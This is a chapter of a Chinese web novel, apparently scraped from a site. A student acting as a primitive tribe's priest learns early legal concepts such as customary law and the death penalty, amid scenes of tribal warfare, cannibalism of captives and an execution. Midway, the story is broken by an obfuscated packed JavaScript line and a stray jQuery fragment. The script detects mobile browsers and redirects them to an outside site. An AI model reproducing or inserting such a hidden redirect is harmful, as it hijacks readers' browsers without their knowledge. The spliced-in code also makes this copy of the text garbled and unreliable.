紧接着的弹幕突然刷了屏。


    「什么什么？感觉是一个很重要的知识点。」


    「展开讲讲呢？怎么就规范和习惯法了？」


    「我还在欣赏主播的英姿呢，怎么就突然开课了？」


    仪表盘暂停了时间，源源不断地出现文字。


    【本部落的所有人，这是假定。】


    【可以领取食物，但是可以拒绝，这是授予权利。】


    【必须参与祭祀，必须信仰神明，无权拒绝，这是义务。】


    【缺席祭祀，冲撞神明，这是违反义务。】


    【违反规定，受到制裁，这是责任。】


    【以上的一切，构成法律规范的三要素，成为规范的雏形。[1]】


    温初辞细细想来，应该就是刚刚的三件小事触发了这条知识点。


    那个拒绝食物的妇人触发了权利的条件，自己宣扬必须参与祭祀、不得冲撞神明，形成了义务，而那个叫阿木的人，违反义务，产生了责任。


    仪表盘继续播报道：


    【部落自行在长期反复的生活中自然形成了规则。】


    【经过部落的人长期遵守，被大众认可。】


    「所以阿北这个普通的人才会自发地出来维护这套规则是吗？」


    【部落的祭司认可了这项规则，习惯则具有效力，上升为习惯法。】


    「祭司也是一定程度上担任了像国家机构这样的角色嘛。」


    「是的，祭司他有权力对这种行为进行制裁。」


    【习惯法多以口头方式传承，不以书面形式公布。】


    「特征1：非成文性」


    【习惯法是中国古代法制的重要部分。[2]】


    「特征2。」


    法渊的笔记也跟着更新了这两条要点。


    「感觉自己做了一道简答和一道名词解释，这是可以说的吗……」


    「不是，原来真的是来学习的啊？我以为我是来看主播渡劫的。」


    温初辞看完仪表盘和弹幕的解释，感觉那些知识点和自己的亲身经历一起深深地刻进了脑子里。


    果然亲身经历是最好的老师，不辜负他差点正脸被挨一拳……


    回到岩洞，温初辞坐在石头上歇气，心有余悸地拍拍自己的胸脯。


    “刚刚真是谢谢你啊……原来学习一个法制史是真的会有生命危险 ……”


    法渊坐到他的身边。


    “我也有被吓到。”


    温初辞回想着刚刚那个凶神恶煞的男人。


    “我们接下来应该怎么做？”


    “违反义务，就会产生责任，受到惩罚，我想，我们得去下一个板块了。”


    法渊翻找着仪表盘，回答道。


    “所以，我们要去寻找一个用来维护礼，制裁违反义务的人的方式。”


    法渊点点头。


    【刑始于兵】


    仪表盘的时间线推进，温初辞又跟着指示来到了部落的空地上，等待任务的触发。


    “祭司大人，不好了！”


    阿北慌张地跑来，面色焦急。


    “我们看到另有一个部落，他们向我们发起宣战，意图占领我们的领地，抢夺食物、俘虏族人。”


    “首领已经派人去守了，祭司大人，请问您有法子吗？”


    温初辞想了想，回答道：“立刻组织族人，举行战前祭祀，一切从简，速度要快。”


    对于原始部落而言，拥有强大的凝聚力非常重要。


    作为祭司，温初辞能做的非常有限，他也不像那些高壮的人一样能带兵打仗。


    祭祀的过程非常简洁，但温初辞号召着大家喊了口号。


    这是他从学校的运动会获得的灵感，简明的口号很能增强他们的士气。


    “神明护我，犯我者诛。”


    紧急情况下，温初辞也想不出什么特别押韵的口号，只想着包含神明和战斗的元素。


    呼号声一浪高过一浪，人们挥舞着拳头，手臂上的肌肉绷成明显的肌肉快。


    他们在呼声中情绪高涨，脸上都涨成了充血的颜色，脖子上青筋凸起。


    旧石器时代的武器是非常简陋的，一群人拿着未经雕琢的石头，有的锋利，有的沉重，鲁莽地迎上外来的入侵者。


    草率的战场上扬起灰尘，他们的斗争大多是肉搏，拳打脚踢往外族人身上招呼，很快扭打成一团。


    野蛮的暴力因为有信仰的加持，似乎变得更加有力，就连身上的伤痕、脸颊上的红肿都在兴奋的加持下变得难以察觉。


    入侵者慢慢败下阵来。


    有的人直接被殴打致死，有的人伤得很重，被族人拖拽着回到了部落。


    温初辞跟着法渊躲在角落看着这一切，近距离的观看这场野蛮的打戏，却因为有了对族人的归属感而生起一分畅快。


    「那拳头呼到我脸上，我能直接命丧当场」


    「这可是为了生存啊，要是真被外族人打败，不就成了外族人的俘虏了吗？」


    拖着俘虏的族人回到部落中心，恭恭敬敬地摁着俘虏，向祭司温初辞和首领汇报。


    那群俘虏被打得难以看出原样，有的已经奄奄一息。


    阿北压着一个被打得鼻青脸肿的人，抬头看向温初辞。


    他的身上也挂了伤，一侧的脸颊高高肿起，脸上却挂着胜利的明媚笑容。


    “祭司大人……请问这人应如何处理？”


    说话的声音有些模糊，大概是因为牵扯到了脸颊的伤。


    “这人留着，对部落有何好处？比如，他是否能助你们外出狩猎？”


    温初辞问道。


    他下意识想到的是把俘虏抓来当劳动力，给他们干活。


    阿北想了想，回答道：“祭司大人，这些人留着，并无帮助。”


    “狩猎需齐心协力，可俘虏很难帮助我们做此事，反倒会留下捣乱。”


    温初辞点头应下，趁着阿北低头听命，一手往旁边薅法渊的衣服。


    “法渊，怎么办啊？”


    法渊看过手中的典籍，回答道：“用作祭祀，或者，以此为食。”


    温初辞的身形晃了晃，差点以为自己听错了话。


    以此为食的意思是……吃人吗？


    “据可靠的考古记载，原始社会确实有以人为食的做法。”


    温初辞抿了抿唇，下定决心说道：


    “此次争斗，多亏神明庇佑，理应如往常狩猎一般，向神明还愿。”


    “至于剩下的……那便，处理之后，以供，食用……”


    他艰难地说出这两个字，一股强烈的恶心感从胃里往上涌。


    “是！我现在去办！”


    阿北倒完全没有任何难受的迹象，反而眼里放光，格外兴奋。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160826|180625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    温初辞目送阿北离开视线，仪表盘暂停时间，出现了文字：


    【原始社会最先出现的刑罚是：死刑，又名辟[3]】


    【主要原因是：打猎时代不需要那么多劳动力，俘虏会直接杀掉，或者用于祭祀或食用。】


    「学的时候光记住辟是死刑了，原来背后还有这一层意思」


    「很合理诶，刚刚阿北说，这些俘虏就算是和他们一起去狩猎，也不会好好配合的，那只能杀掉了」


    「如果说产生了刑罚的话，那之前那个阿木是不是也可以处理掉了？」


    「食用这个事情还是有点过于残忍了……但是一想到这是原始社会，好像又可以理解了。」


    温初辞才是那个必须去面对处置俘虏和罪犯的人。


    他一想到那群人可能的结局，胃里就开始翻江倒海地泛着恶心。


    “宿主，喝口水吧。”


    法渊扶了一下他前后晃动的身体，用石器递过来一碗清水。


    一碗清水下肚，温初辞才稍微感觉好一些。


    他硬着头皮往祭祀的现场走，手里握着那根木棍。


    阿北用锋利的器具比着阿木的脖子，另外两个大汉控制着阿木，让他好好跪着。


    他的目光里依旧是不服气的，嘴里还喊着一些辱骂神明和温初辞这个祭司的话。


    一遍一遍重复的话语，说着这个世界上没有神明，说着他勇敢的伙伴不该命丧于此。


    阿木被关押了很久很久，饿得面容枯槁，身上的肌肉早已经被消耗，瘦得早就脱了相。


    温初辞握着木棍，听着辱骂自己的话语，却没有气愤，而是悲哀。


    或许阿木是这个社会最靠近真相的人，这个世界上的确没有神明。


    如果他生活在更远的未来，或许会成为一个思考世界的本原是什么的哲学家。


    但他偏偏生在现在，面对着残酷的祭司礼制。


    温初辞垂眸，鼻尖有些酸涩。


    “宿主，他们并不真实存在，这是为了修复法制记录才创造的空间。”


    法渊站在他的身后，双手搭在他的肩膀上。


    “请宿主不要对NPC投入太多情感。”


    “我明白，只是……”


    温初辞低声说着，之后举起了自己的木棍。


    “冲撞神明者，应处死！行刑！”


    他听见欢呼，就像那日向神明献祭死掉的猎物一样。


    在阿木被押上刑台的时候，温初辞的眼前捂上了一只手。


    他的眼前一片黑暗，什么都看不见，只能感受到温热的掌心。


    法渊站在他的身后，一只手环过来，捂住了他的眼睛。


    其他人看到的样子，仍然是祭司大人握着木棍，目不转睛地盯着行刑的现场。


    没有害怕，没有胆怯。


    痛苦的嚎叫声停下了，变成了族人们的欢呼。


    他们欢呼异类的清除，守护着神明的威严。


    “结束了，小辞，说点什么吧。”


    温初辞有些恍惚，他眨了眨眼，睫毛扫在法渊的手心，闭眼时形成明显的阻力。


    【请勿试图用文明和理性审判法制的野蛮和残忍。】


    他想起那个提示。


    少年拔高了声线，嘶哑的吼声盖过声音的颤抖。


    “愿神明宽恕，佑我族人，健康、安定。”